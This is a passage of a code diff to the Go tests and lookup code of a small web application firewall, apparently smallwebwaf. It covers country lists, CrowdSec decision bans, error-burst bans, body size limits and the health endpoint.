geojsURL, _ := startGeoJS(t)
env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
env := map[string]string{trustedProxies: trustLocalhost}
maps.Copy(env, tc.env)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
@@ -65,7 +65,7 @@ func TestCountryLists(t *testing.T) {
req.Header.Set(forwardedFor, sent.client)
got := do(t, req)
line := out.endedLines(t, i+1)[i]
line := out.requestLines(t, i+1)[i]
if line.ASN != sent.asn || line.ASName != sent.asName ||
line.Country != sent.country {
t.Errorf("log line has %q, %q and %q, want %q, %q and %q",
@@ -90,7 +90,7 @@ func TestCountryLists(t *testing.T) {
}
}
func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) {
func TestCountryRefusalComesBeforeTheBody(t *testing.T) {
t.Parallel()
var calls atomic.Int32
@@ -101,7 +101,6 @@ func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) {
geojsURL, _ := startGeoJS(t)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
deniedCountries: "kp",
})
@@ -109,9 +108,13 @@ func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) {
req.Header.Set(forwardedFor, fromKP)
wantStatus(t, do(t, req), http.StatusForbidden)
line := out.endedLine(t)
line := out.requestLine(t)
wantLine(t, line, http.StatusForbidden, requestlog.ActionCountryDenied)
if line.RequestBytes != 0 {
t.Errorf("log line has request_bytes %d, want 0", line.RequestBytes)
}
if calls.Load() != 0 {
t.Errorf("the app was called %d times, want none", calls.Load())
}
@@ -144,7 +147,6 @@ func TestRequestRefusedByCountryIsNotCounted(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
addr, _ := startProxyWithGeoJS(t, app.URL, geojs.URL, map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
allowedCountries: "de",
rateLimitPerMinute: "1",
})
@@ -192,7 +194,7 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
geojsURL, asked := startGeoJS(t)
env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
env := map[string]string{trustedProxies: trustLocalhost}
maps.Copy(env, tc.env)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
@@ -207,7 +209,7 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
wantStatus(t, do(t, req), http.StatusOK)
line := out.endedLines(t, i+1)[i]
line := out.requestLines(t, i+1)[i]
wantLine(t, line, http.StatusOK, requestlog.ActionForward)
for _, field := range []string{"asn", "as_name", "country"} {
@@ -278,11 +280,7 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
// startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP,
// each in an AS of its own, and no other address. It returns its URL, and
// what returns the addresses it has been asked about. A test that needs
// the stand-in to be asked or to answer sets SWWAF_LOOKUP_TIMEOUT to an
// hour, whether or not a request waits for the answer: on the default, a
// hold-up of the test process can abandon the request to the stand-in, and
// leave the client unknown.
// what returns the addresses it has been asked about.
func startGeoJS(t *testing.T) (string, func() []string) {
t.Helper()
internal/proxy/crowdsec_test.go
-181
View File
@@ -1,181 +0,0 @@
package proxy_test
import (
"net/http"
"net/netip"
"reflect"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/proxy"
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// The CrowdSec settings, and the tests' engine, which is never asked: each
// test puts in the copy of its decision list, at decisionsURL, that it
// needs, as reputation.json would at start.
const (
crowdSecURL = "SWWAF_CROWDSEC_LAPI_URL"
crowdSecKey = "SWWAF_CROWDSEC_LAPI_KEY"
lapi = "http://crowdsec.example:8080"
decisionsURL = lapi + "/v1/decisions"
bouncerKey = "crowdsec-key-0123456789abcdef"
)
func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(t *testing.T) {
t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{
crowdSecURL: lapi, crowdSecKey: bouncerKey, metricsToken: token,
})
// client had four hours left on its decision as the engine answered.
fetched := clk.Now()
loadDecisions(t, server, fetched, `[{"duration": "4h0m0s", `+
`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
`"value": "`+client+`"}]`)
expires := requestlog.FormatTime(fetched.Add(4 * time.Hour))
// Its first request is refused, and bans it until the decision ends.
line := s.get(client, http.StatusForbidden, requestlog.ActionBanned)
wantReputation(t, line, decisionsURL)
if line.BanExpires != expires {
t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
}
listed := []bans.ReputationHit{{Source: decisionsURL}}
held := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
if len(held) != 1 || held[0].Cause != bans.CauseCrowdSec ||
!held[0].Start.Equal(fetched) || !held[0].Expires.Equal(fetched.Add(4*time.Hour)) ||
held[0].Reason != "CrowdSec's decision for crowdsecurity/ssh-bf" ||
!reflect.DeepEqual(held[0].Notes.Reputation, listed) ||
held[0].Notes.Request.Path != "/" || held[0].Notes.Requests != 1 {
t.Fatalf("bans %+v, want one for crowdsec of four hours, with the list and "+
"the request in its notes", held)
}
// The listing raises a reputation_hit alert, and the ban its own.
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 2 || waiting[0].Event != alerts.EventReputationHit ||
waiting[0].Reason != "listed by the CrowdSec decision list" ||
!reflect.DeepEqual(waiting[1], banAlert(alerts.EventBan, fetched, client, held[0],
expires)) {
t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban's",
waiting)
}
// Each request while the ban lasts is refused under it, as under any
// ban, and once it has ended the client is let through.
clk.advance(4*time.Hour - time.Second)
line = s.get(client, http.StatusForbidden, requestlog.ActionBanned)
wantReputation(t, line)
if line.BanExpires != expires {
t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
}
clk.advance(time.Second)
s.get(client, http.StatusOK, requestlog.ActionForward)
// The ban and the hit are counted, and the list has the metrics of any
// list fetched from a URL.
metrics := s.scrape()
labels := `{instance="` + alertInstance + `",source="` + decisionsURL + `"}`
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="crowdsec",`+
`instance="`+alertInstance+`"}`, 1)
wantMetric(t, metrics, "smallwebwaf_reputation_hits_total"+labels, 1)
wantMetric(t, metrics, "smallwebwaf_reputation_failures_total"+labels, 0)
wantMetric(t, metrics, "smallwebwaf_reputation_last_fetch_timestamp_seconds"+labels,
float64(fetched.Unix()))
}
func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(t *testing.T) {
t.Parallel()
s, clk, server := startWithClock(t, "", map[string]string{
crowdSecURL: lapi, crowdSecKey: bouncerKey,
})
// 198.51.100.0/24 and 2001:db8::9 had a minute left as the engine
// answered.
fetched := clk.Now()
loadDecisions(t, server, fetched, `[{"duration": "1m0s", `+
`"scenario": "crowdsecurity/http-probing", "scope": "Range", "type": "ban", `+
`"value": "198.51.100.0/24"}, {"duration": "1m0s", `+
`"scenario": "crowdsecurity/http-probing", "scope": "Ip", "type": "ban", `+
`"value": "2001:db8::9"}]`)
// Just before its end, the decision bans a client in the netblock, and
// one on an IPv6 address bans the address's group, the /64.
clk.advance(time.Minute - time.Nanosecond)
s.get("198.51.100.7", http.StatusForbidden, requestlog.ActionBanned)
s.get("2001:db8::9", http.StatusForbidden, requestlog.ActionBanned)
s.get("2001:db8::5", http.StatusForbidden, requestlog.ActionBanned)
// Once it has ended, it bans no other client, and the bans it made end
// with it.
clk.advance(time.Nanosecond)
for _, from := range []string{"198.51.100.8", "198.51.100.7", "2001:db8::5"} {
wantReputation(t, s.get(from, http.StatusOK, requestlog.ActionForward))
}
if made := server.Ledger.Made(bans.CauseCrowdSec); made != 2 {
t.Errorf("%d bans made for crowdsec, want 2, on 198.51.100.7/32 and "+
"2001:db8::/64", made)
}
if held := server.Ledger.Bans(netip.MustParsePrefix("2001:db8::/64")); len(held) != 1 {
t.Errorf("bans of 2001:db8::/64 %+v, want one", held)
}
}
func TestObserveModeForwardsAClientTheCrowdSecDecisionListListsAndAlertsTheBan(
t *testing.T,
) {
t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{
crowdSecURL: lapi, crowdSecKey: bouncerKey, mode: observe,
})
loadDecisions(t, server, clk.Now(), `[{"duration": "4h0m0s", `+
`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
`"value": "`+client+`"}]`)
line := s.get(client, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionBanned)
wantReputation(t, line, decisionsURL)
if held := server.Ledger.Snapshot(); len(held) != 0 {
t.Errorf("bans %+v, want none", held)
}
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 2 || waiting[1].Event != alerts.EventBan ||
waiting[1].Detail["cause"] != bans.CauseCrowdSec ||
waiting[1].Detail["mode"] != observe {
t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban alert "+
"marked observe", waiting)
}
}
// loadDecisions puts into server's lists the copy of the decision list at
// decisionsURL, answer, the engine's answer, fetched at fetched, as
// reputation.json would at start.
func loadDecisions(
t *testing.T, server *proxy.Server, fetched time.Time, answer string,
) {
t.Helper()
err := server.Lists.Load([]reputation.List{{
URL: decisionsURL, Tried: fetched, Fetched: fetched, Lines: []string{answer},
}})
if err != nil {
t.Fatalf("load the decision list: %v", err)
}
}
internal/proxy/errorburst_test.go
-366
View File
@@ -1,366 +0,0 @@
package proxy_test
import (
"maps"
"net/http"
"net/netip"
"reflect"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/proxy"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
const errorBurstThreshold = "SWWAF_ERROR_BURST_THRESHOLD"
// refused is a request the tests here send, which servewaf refuses after a rule
// file match.
type refused int
const (
// blockRule is a request testRules' block rule refuses with 403.
blockRule refused = iota
// banRule is one its ban rule refuses with 403, and bans the client
// for.
banRule
)
// send sends r from the client at from, checks its answer and log line as
// sender.request does, and returns the line.
func (r refused) send(s *sender, from string) logLine {
s.t.Helper()
switch r {
case blockRule:
return s.request(from, blockedPath, http.StatusForbidden,
requestlog.ActionRuleBlocked)
case banRule:
return s.request(from, probePath, http.StatusForbidden, requestlog.ActionBanned)
}
s.t.Fatalf("no request for the refusal %d", r)
return logLine{}
}
// startForErrorBurst is startWithClock with testRules, the metrics token and
// SWWAF_ERROR_BURST_THRESHOLD at threshold, and the settings in env.
func startForErrorBurst(
t *testing.T, threshold string, env map[string]string,
) (*sender, *clock, *proxy.Server) {
t.Helper()
settings := map[string]string{
errorBurstThreshold: threshold,
rulesDir: writeRules(t, testRules),
metricsToken: token,
}
maps.Copy(settings, env)
return startWithClock(t, "", settings)
}
func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
// refusals are four, one over the threshold of three.
refusals []refused
}{
{"block rule", []refused{blockRule, blockRule, blockRule, blockRule}},
{"a ban rule last", []refused{blockRule, blockRule, blockRule, banRule}},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s, _, _ := startForErrorBurst(t, "3", nil)
// Three refusals break nothing, and the app's answers between
// them are not counted.
for i, r := range tc.refusals[:3] {
line := r.send(s, client)
if line.LimitHit != "" || line.Offence != "" {
t.Errorf("refusal %d: log line has limit_hit %q and offence %q, "+
"want none", i+1, line.LimitHit, line.Offence)
}
s.get(client, http.StatusOK, requestlog.ActionForward)
}
// The fourth is answered as the others were, breaks the error
// burst, and bans the client.
line := tc.refusals[3].send(s, client)
if line.LimitHit != requestlog.LimitHitErrorBurst ||
line.Offence != requestlog.OffenceLimit {
t.Errorf("log line has limit_hit %q and offence %q, want error_burst "+
"and limit", line.LimitHit, line.Offence)
}
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
})
}
}
func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
t.Parallel()
s, clk, server := startForErrorBurst(t, "2", nil)
start := clk.Now()
blockRule.send(s, client)
blockRule.send(s, client)
line := blockRule.send(s, client)
expires := start.Add(time.Hour)
if line.BanExpires != requestlog.FormatTime(expires) {
t.Errorf("log line has ban_expires %q, want an hour on", line.BanExpires)
}
netblock := netip.MustParsePrefix(client + "/32")
want := bans.Ban{
Netblock: netblock,
Start: start,
Expires: expires,
Cause: bans.CauseLimit,
Reason: "refusals per minute over the limit of 2",
Notes: bans.Notes{
Kind: ratelimit.KindRefusals,
Limit: 2,
Window: minute,
Count: 3,
Request: bans.Request{
Time: start,
Method: http.MethodGet,
Host: appHost,
Path: blockedPath,
Status: http.StatusForbidden,
UserAgent: userAgent,
},
Requests: 3,
},
}
got := server.Ledger.Bans(netblock)
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
}
wantOffences := ratelimit.Offences{Limit: 1, RuleBlocked: 3}
if offences := historyOf(t, server, client).Offences; offences != wantOffences {
t.Errorf("history counts the offences %+v, want %+v", offences, wantOffences)
}
metrics := s.scrape()
wantMetric(t, metrics, `smallwebwaf_rate_limit_hits_total{instance="app",`+
`kind="refusals",window="minute"}`, 1)
wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="limit"}`, 1)
wantMetric(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="rule_blocked"}`, 3)
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 1)
}
func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
t.Parallel()
geojsURL, _ := startGeoJS(t)
s, _, server := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
errorBurstThreshold: "2",
rulesDir: writeRules(t, testRules),
countryLimitPercent: countryDEHalf,
})
// Half of the threshold would be one, which the second refusal is over.
for range 2 {
line := blockRule.send(s, fromDE)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
}
blockRule.send(s, fromDE)
got := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))
if len(got) != 1 || got[0].Notes.Limit != 2 || got[0].Notes.LimitPercent != nil {
t.Errorf("bans %+v, want one for the limit of 2, without a limit percentage", got)
}
}
func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
t.Parallel()
statuses := map[string]int{
"/missing": http.StatusNotFound,
"/private": http.StatusUnauthorized,
"/forbidden": http.StatusForbidden,
}
s, _, _, queue := startAppWithAlerts(t, func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(statuses[r.URL.Path])
}, map[string]string{errorBurstThreshold: "1", rulesDir: writeRules(t, testRules)})
for range 2 {
for path, status := range statuses {
s.request(client, path, status, requestlog.ActionForward)
}
}
// The first refusal is one, not over the threshold.
line := blockRule.send(s, client)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
// No ban was made, nor its alert raised.
s.request(client, "/missing", http.StatusNotFound, requestlog.ActionForward)
wantAlerts(t, queue)
}
func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
threshold string
// broken is whether the 31st refusal breaks the error burst.
broken bool
}{
{"", true},
{off, false},
} {
t.Run(errorBurstThreshold+"="+tc.threshold, func(t *testing.T) {
t.Parallel()
env := map[string]string{rulesDir: writeRules(t, testRules)}
if tc.threshold != "" {
env[errorBurstThreshold] = tc.threshold
}
s, _, _ := startWithClock(t, "", env)
var line logLine
for range 31 {
line = blockRule.send(s, client)
}
if broken := line.LimitHit == requestlog.LimitHitErrorBurst; broken != tc.broken {
t.Errorf("the 31st refusal broke the error burst: %t, want %t",
broken, tc.broken)
}
})
}
}
func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
t.Parallel()
const (
allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
exempt = "192.0.2.50" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
)
s, _, _ := startForErrorBurst(t, "1", map[string]string{
allowNets: allowed, rateLimitExemptNets: exempt,
})
// A client in SWWAF_ALLOW_NETS is not refused, and so not counted.
for range 3 {
s.request(allowed, blockedPath, http.StatusOK, requestlog.ActionForward)
}
// One the rate limits do not apply to is.
blockRule.send(s, exempt)
line := blockRule.send(s, exempt)
if line.LimitHit != requestlog.LimitHitErrorBurst {
t.Errorf("log line has limit_hit %q, want error_burst", line.LimitHit)
}
s.get(exempt, http.StatusForbidden, requestlog.ActionBanned)
}
func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) {
t.Parallel()
s, clk, _ := startForErrorBurst(t, "1", map[string]string{limitBanDuration: "1s"})
blockRule.send(s, client)
blockRule.send(s, client)
// Within the same minute, once the ban has ended, the next refusal is
// the first again.
clk.advance(time.Second)
line := blockRule.send(s, client)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
}
func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) {
t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{
mode: observe,
errorBurstThreshold: "1",
rulesDir: writeRules(t, testRules),
})
start := clk.Now()
held := bans.Ban{
Netblock: netip.MustParsePrefix(otherClient + "/32"),
Start: start,
Expires: start.Add(time.Hour),
Cause: bans.CauseAdmin,
}
server.Ledger.Load([]bans.Ban{held})
// Under a ban, enforce mode would have refused these before the rule, so
// they are not counted.
for range 2 {
line := s.request(otherClient, blockedPath, http.StatusOK,
requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionBanned)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
}
// The block rule's refusal, which enforce mode would have answered 403,
// is the second of the client's, and would have banned it.
s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward)
line := s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionRuleBlocked)
if line.LimitHit != requestlog.LimitHitErrorBurst || line.BanExpires != "" {
t.Errorf("log line has limit_hit %q and ban_expires %q, want error_burst "+
"and none", line.LimitHit, line.BanExpires)
}
if got := server.Ledger.Snapshot(); len(got) != 1 || !reflect.DeepEqual(got[0], held) {
t.Errorf("bans %+v, want only the one held", got)
}
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 {
t.Fatalf("%d alerts wait, want 1: %+v", len(waiting), waiting)
}
notes, _ := waiting[0].Detail["notes"].(bans.Notes)
if notes.Kind != ratelimit.KindRefusals || notes.Count != 2 ||
notes.Request.Status != http.StatusForbidden {
t.Errorf("the alert's notes are %+v, want two refusals, the last answered 403",
notes)
}
alert := banAlert(alerts.EventBan, start, client, bans.Ban{
Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
Reason: "refusals per minute over the limit of 1", Notes: notes,
}, requestlog.FormatTime(start.Add(time.Hour)))
alert.Detail["mode"] = observe
wantAlerts(t, queue, alert)
}
internal/proxy/health_test.go
+21 -5
View File
@@ -2,18 +2,24 @@ package proxy_test
import (
"net/http"
"sync/atomic"
"testing"
"sneak.berlin/go/smallwebwaf/internal/proxy"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
func TestHealthEndpointCountsTowardNoLimit(t *testing.T) {
func TestHealthEndpointIsAnsweredBeforeAnyCheck(t *testing.T) {
t.Parallel()
var calls atomic.Int32
app := startApp(t, func(http.ResponseWriter, *http.Request) {
calls.Add(1)
})
// With a limit of one request a minute, any request counted before
// the last one would have it refused.
s, _, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
addr, out := startProxy(t, app.URL, map[string]string{rateLimitPerMinute: "1"})
const (
healthChecks = 3
@@ -21,7 +27,8 @@ func TestHealthEndpointCountsTowardNoLimit(t *testing.T) {
)
for range healthChecks {
got := s.adminRequest("", http.MethodGet, proxy.HealthPath, "", http.StatusOK)
got := get(t, addr, proxy.HealthPath)
wantStatus(t, got, http.StatusOK)
if string(got.body) != "ok\n" || got.header.Get("Content-Type") != contentType {
t.Errorf("health endpoint answered %q with Content-Type %q, want ok "+
@@ -29,12 +36,21 @@ func TestHealthEndpointCountsTowardNoLimit(t *testing.T) {
}
}
s.get(client, http.StatusOK, requestlog.ActionForward)
wantStatus(t, get(t, addr, "/"), http.StatusOK)
lines := out.requestLines(t, healthChecks+1)
for _, line := range lines[:healthChecks] {
wantLine(t, line, http.StatusOK, requestlog.ActionAdmin)
for _, line := range s.out.endedLines(t, healthChecks)[:healthChecks] {
if line.ResponseContentType != contentType {
t.Errorf("health check's log line has response_content_type %q, "+
"want %q", line.ResponseContentType, contentType)
}
}
wantLine(t, lines[healthChecks], http.StatusOK, requestlog.ActionForward)
if calls.Load() != 1 {
t.Errorf("the app was called %d times, want once", calls.Load())
}
}
internal/proxy/history_test.go
+16 -12
View File
@@ -18,7 +18,6 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
geojsURL, _ := startGeoJS(t)
s, clk, server := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "2",
deniedCountries: "kp",
})
@@ -86,7 +85,7 @@ func TestHistoryCountsTheBodiesEachWay(t *testing.T) {
got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")))
wantStatus(t, got, http.StatusOK)
out.endedLine(t)
out.requestLine(t)
history := historyOf(t, server, localhost)
if history.RequestBytes != 3 || history.ResponseBytes != 5 {
@@ -95,33 +94,38 @@ func TestHistoryCountsTheBodiesEachWay(t *testing.T) {
}
}
func TestOwnEndpointsAreNotInTheHistory(t *testing.T) {
func TestHealthEndpointIsNotInTheHistory(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{metricsToken: token})
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, nil)
s.adminRequest("", http.MethodGet, proxy.HealthPath, "", http.StatusOK)
s.adminRequest("", http.MethodGet, proxy.MetricsPath, "", http.StatusUnauthorized)
s.scrape()
wantStatus(t, get(t, addr, proxy.HealthPath), http.StatusOK)
out.requestLine(t)
if clients := server.Limiter.Snapshot(); len(clients) != 0 {
t.Errorf("the table holds %+v, want no client", clients)
}
}
func TestPathUnderTheOwnPrefixIsNeitherForwardedNorRefused(t *testing.T) {
func TestRequestForSmallwebwafIsRefusedOnlyWithoutTheToken(t *testing.T) {
t.Parallel()
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, nil)
addr, out, server := startProxyWithClock(t, app.URL, "", time.Now,
map[string]string{metricsToken: token})
// The metrics and the 404 are neither forwarded nor refused; the 401
// is refused.
scrape(t, addr)
wantStatus(t, get(t, addr, "/_smallwebwaf/nothing"), http.StatusNotFound)
out.endedLine(t)
wantStatus(t, get(t, addr, proxy.MetricsPath), http.StatusUnauthorized)
out.requestLines(t, 3)
history := historyOf(t, server, localhost)
if history.Requests != 1 || history.Forwarded != 0 || history.Refused != 0 {
if history.Requests != 3 || history.Forwarded != 0 || history.Refused != 1 {
t.Errorf("history counts %d requests, %d forwarded and %d refused, "+
"want 1, 0 and 0", history.Requests, history.Forwarded, history.Refused)
"want 3, 0 and 1", history.Requests, history.Forwarded, history.Refused)
}
}
internal/proxy/limits_test.go
+162
View File
@@ -0,0 +1,162 @@
package proxy_test
import (
"bytes"
"errors"
"io"
"net/http"
"strconv"
"sync/atomic"
"testing"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// sizeLimit is the size limit the tests set, 1K as a setting.
const (
sizeLimit = 1 << 10
sizeLimitSetting = "1K"
)
func TestRequestBodyLimit(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
size int
// announced sends the size in Content-Length; otherwise the body
// is sent in chunks with no length given.
announced bool
want int
action string
// refusedBeforeApp is a refusal before anything reaches the app.
// A body over the limit with no length given has already partly
// reached the app when it is refused.
refusedBeforeApp bool
}{
{"announced, over the limit", 2 * sizeLimit, true,
http.StatusRequestEntityTooLarge, requestlog.ActionTooLarge, true},
{"announced, at the limit", sizeLimit, true,
http.StatusOK, requestlog.ActionForward, false},
{"not announced, over the limit", 4 * sizeLimit, false,
http.StatusRequestEntityTooLarge, requestlog.ActionTooLarge, false},
{"not announced, at the limit", sizeLimit, false,
http.StatusOK, requestlog.ActionForward, false},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
var calls atomic.Int32
app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
calls.Add(1)
_, _ = io.Copy(io.Discard, r.Body)
})
addr, out := startProxy(t, app.URL, map[string]string{
requestMaxBytes: sizeLimitSetting,
metricsToken: token,
})
var body io.Reader = bytes.NewReader(make([]byte, tc.size))
if !tc.announced {
body = io.MultiReader(body) // hides the length
}
wantStatus(t, do(t, newRequest(t, http.MethodPost, addr, "/upload", body)),
tc.want)
wantLine(t, out.requestLine(t), tc.want, tc.action)
hits := 0
if tc.action == requestlog.ActionTooLarge {
hits = 1
}
wantLimitHits(t, addr, requestMaxBytes, hits)
if tc.refusedBeforeApp && calls.Load() != 0 {
t.Errorf("the app was called %d times, want never", calls.Load())
}
})
}
}
func TestResponseBodyLimit(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
size int
// announced sends the size in Content-Length; otherwise the body
// is sent in chunks with no length given.
announced bool
want int
action string
// received is how much of a body the client gets, and cutOff
// whether the connection is then cut.
received int
cutOff bool
}{
{"announced, over the limit", 2 * sizeLimit, true, http.StatusBadGateway,
requestlog.ActionTooLarge, len("Bad Gateway\n"), false},
{"announced, at the limit", sizeLimit, true, http.StatusOK,
requestlog.ActionForward, sizeLimit, false},
{"not announced, over the limit", 4 * sizeLimit, false, http.StatusOK,
requestlog.ActionTooLarge, sizeLimit, true},
{"not announced, at the limit", sizeLimit, false, http.StatusOK,
requestlog.ActionForward, sizeLimit, false},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
answerWithSize(w, tc.size, tc.announced)
})
addr, out := startProxy(t, app.URL, map[string]string{
responseMaxBytes: sizeLimitSetting,
metricsToken: token,
})
got := get(t, addr, "/download")
wantStatus(t, got, tc.want)
if len(got.body) != tc.received ||
errors.Is(got.err, io.ErrUnexpectedEOF) != tc.cutOff {
t.Errorf("client got %d bytes (%v), want %d",
len(got.body), got.err, tc.received)
}
line := out.requestLine(t)
wantLine(t, line, tc.want, tc.action)
if line.UpstreamStatus != http.StatusOK {
t.Errorf("log line has upstream_status %d", line.UpstreamStatus)
}
hits := 0
if tc.action == requestlog.ActionTooLarge {
hits = 1
}
wantLimitHits(t, addr, responseMaxBytes, hits)
})
}
}
// answerWithSize answers with a body of size bytes, announced in
// Content-Length or sent in chunks with no length given.
func answerWithSize(w http.ResponseWriter, size int, announced bool) {
body := make([]byte, size)
if announced {
w.Header().Set("Content-Length", strconv.Itoa(size))
_, _ = w.Write(body)
return
}
// Sending part of it before the end keeps Go's server from working
// out the length.
_, _ = w.Write(body[:size/2])
_ = http.NewResponseController(w).Flush()
_, _ = w.Write(body[size/2:])
}
internal/proxy/lookup.go
+14 -21
View File
@@ -4,15 +4,15 @@ import (
"context"
"net/http"
"net/netip"
"time"
"sneak.berlin/go/smallwebwaf/internal/lookup"
)
// The headers in which an answer of allow gives rproxy the client's AS number
// and country, for the app, while SWWAF_ADD_LOOKUP_HEADERS is set. Go writes
// every header name in this form, as it sends it and as it receives it, so
// X-Client-ASN arrives as X-Client-Asn; header names are not case-sensitive.
// The headers in which the app is passed the client's AS number and
// country while SWWAF_ADD_LOOKUP_HEADERS is set. Go writes every header
// name in this form, as it sends it and as it receives it, so X-Client-ASN
// arrives as X-Client-Asn, and Del removes a client's own whatever their
// case; header names are not case-sensitive.
const (
asnHeader = "X-Client-Asn"
countryHeader = "X-Client-Country"
@@ -23,24 +23,17 @@ const (
// SWWAF_LOOKUP_SOURCE is off or the client is on a private, loopback or
// link-local address, which no lookup can place. The lookup database
// answers at once. With GeoJS, while a setting needs the answer, such as a
// country list or a biased threshold, a new client's request waits for it,
// unless refusedWhateverTheAnswer reports true. ctx is the request's own
// context.
func (rq *request) lookUp(ctx context.Context, now time.Time) {
// country list or a biased threshold, a new client's request waits for it.
// ctx is the request's own context.
func (rq *request) lookUp(ctx context.Context) {
if rq.h.config.LookupSource == "off" || !canBePlaced(rq.client) {
return
}
client := rq.h.clientGroup(rq.client)
switch {
case rq.h.config.LookupSource == "file":
rq.lookupAnswer = rq.h.lookupFile.LookUp(client)
case rq.refusedWhateverTheAnswer(now):
rq.lookupAnswer = rq.h.geojs.LookUpWithoutWaiting(ctx, client)
rq.skippedLookupWait = rq.lookupAnswer.Answered.IsZero()
default:
rq.lookupAnswer = rq.h.geojs.LookUp(ctx, client)
if rq.h.config.LookupSource == "file" {
rq.lookupAnswer = rq.h.lookupFile.LookUp(rq.h.clientGroup(rq.client))
} else {
rq.lookupAnswer = rq.h.geojs.LookUp(ctx, rq.h.clientGroup(rq.client))
}
rq.lookedUp = true
@@ -59,8 +52,8 @@ func (h *handler) addLookup(answer lookup.Answer) {
answer.ASN, answer.ASName, answer.Country)
}
// setLookupHeaders sets the headers that give the client's AS number and
// country, leaving out one that is unknown.
// setLookupHeaders sets the headers in which the app is passed the
// client's AS number and country, leaving out one that is unknown.
